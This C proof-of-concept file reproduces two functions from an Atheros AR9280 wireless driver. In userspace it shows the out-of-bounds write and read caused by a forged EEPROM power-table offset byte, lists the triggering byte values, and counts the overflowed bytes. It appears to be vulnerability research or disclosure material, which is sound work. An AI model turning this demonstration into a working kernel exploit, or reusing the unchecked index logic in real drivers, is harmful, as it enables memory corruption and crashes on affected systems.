/* poc_df_pwrtable.c -- Build: cc -O2 -Wall -o poc_df_pwrtable poc_df_pwrtable.c
 *
 * Verbatim copy of the two vulnerable functions from
 * sys/dev/netif/ath/ath_hal/ar9002/ar9280_olc.c:173-237, with the
 * ath_hal/OS_REG plumbing stripped (the OLC/AR_SREV_MERLIN_20_OR_LATER
 * gate is assumed true). Demonstrates the exact OOB write/read driven by
 * a forged EEPROM pwr_table_offset byte, in userspace.
 *
 * The kernel sink is a STATIC BSS buffer, so adjacent memory in both
 * directions is mapped (other BSS globals). To mirror that without
 * segfaulting, we place the 128-byte "pdadcValues" in the middle of a
 * larger heap buffer and count writes that land past pdadcValues[127]
 * (the write-OOB direction is the dangerous/exploitable one).
 *
 * HW-gating note: the in-kernel sink only fires on real Atheros AR9280
 * (Merlin) hardware with a forged EEPROM. See VERDICT.md.
 */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>

#define AR5416_NUM_PDADC_VALUES 128
#define AR5416_PWR_TABLE_OFFSET_DB (-5)

static int16_t changeGainBoundarySettings(int8_t pwr_table_offset, int16_t *diff) {
    if (AR5416_PWR_TABLE_OFFSET_DB != pwr_table_offset) {
        *diff = (uint16_t)(pwr_table_offset - AR5416_PWR_TABLE_OFFSET_DB);
        *diff *= 2;
    }
    return *diff;
}
static void adjustPDADCValues(int8_t pwr_table_offset, int16_t diff, uint8_t *pdadcValues) {
#define NUM_PDADC(diff) (AR5416_NUM_PDADC_VALUES - diff)
    uint16_t k;
    if (AR5416_PWR_TABLE_OFFSET_DB != pwr_table_offset) {
        for (k = 0; k < (uint16_t)NUM_PDADC(diff); k++)
            pdadcValues[k] = pdadcValues[k + diff];      /* OOB read+write */
        for (k = (uint16_t)NUM_PDADC(diff); k < NUM_PDADC(0); k++)
            pdadcValues[k] = pdadcValues[NUM_PDADC(diff)];
    }
#undef NUM_PDADC
}

#define GUARD 512            /* mapped padding before+after the 128-byte region */
int main(void) {
    uint8_t *mem = malloc(GUARD + AR5416_NUM_PDADC_VALUES + GUARD);
    if (!mem) { perror("malloc"); return 1; }
    uint8_t *pdadcValues = mem + GUARD;   /* [0..127] valid; [-GUARD..-1] and [128..128+GUARD-1] mapped */

    int8_t forged_offsets[] = { -6, -128, 64, 127 };  /* bytes 0xFA, 0x80, 0x40, 0x7F */
    for (int t = 0; t < 4; t++) {
        /* Distinct sentinels so the in-place shift doesn't mask the overflow:
         *   guard-before (underflow READ region) = 0x00
         *   valid 128 bytes                       = 0..127  (all < 0x80, never 0xCC)
         *   guard-after (WRITE-OOB detection)     = 0xCC
         * Any write past pdadcValues[127] replaces a 0xCC with a value
         * sourced from {0x00 underflow, 0..127 valid} -- never 0xCC -- so it
         * is detected unambiguously. */
        memset(mem, 0x00, GUARD);
        memset(pdadcValues, 0xCC, AR5416_NUM_PDADC_VALUES + GUARD);
        for (int i = 0; i < AR5416_NUM_PDADC_VALUES; i++) pdadcValues[i] = (uint8_t)i;

        int16_t diff = 0;
        changeGainBoundarySettings(forged_offsets[t], &diff);
        printf("=== pwr_table_offset=%d (byte 0x%02X), diff=%d, NUM_PDADC=%d ===\n",
               forged_offsets[t], (uint8_t)forged_offsets[t], diff,
               AR5416_NUM_PDADC_VALUES - diff);
        /* The 0x40/0x7F cases write ~64KB; in the kernel this page-faults
           (panic). Guard them in userspace to avoid a segfault. */
        if (diff > 128 || diff < -246) {
            printf("  (skipping exec: would write ~64KB -> kernel page-fault panic)\n");
            continue;
        }
        adjustPDADCValues(forged_offsets[t], diff, pdadcValues);
        int oob = 0;
        for (int i = 128; i < 128 + GUARD; i++) if (pdadcValues[i] != 0xCC) oob++;
        printf("  WRITE-OOB bytes past pdadcValues[127]: %d (first 3: 0x%02X 0x%02X 0x%02X)\n",
               oob, pdadcValues[128], pdadcValues[129], pdadcValues[130]);
    }
    free(mem);
    return 0;
}
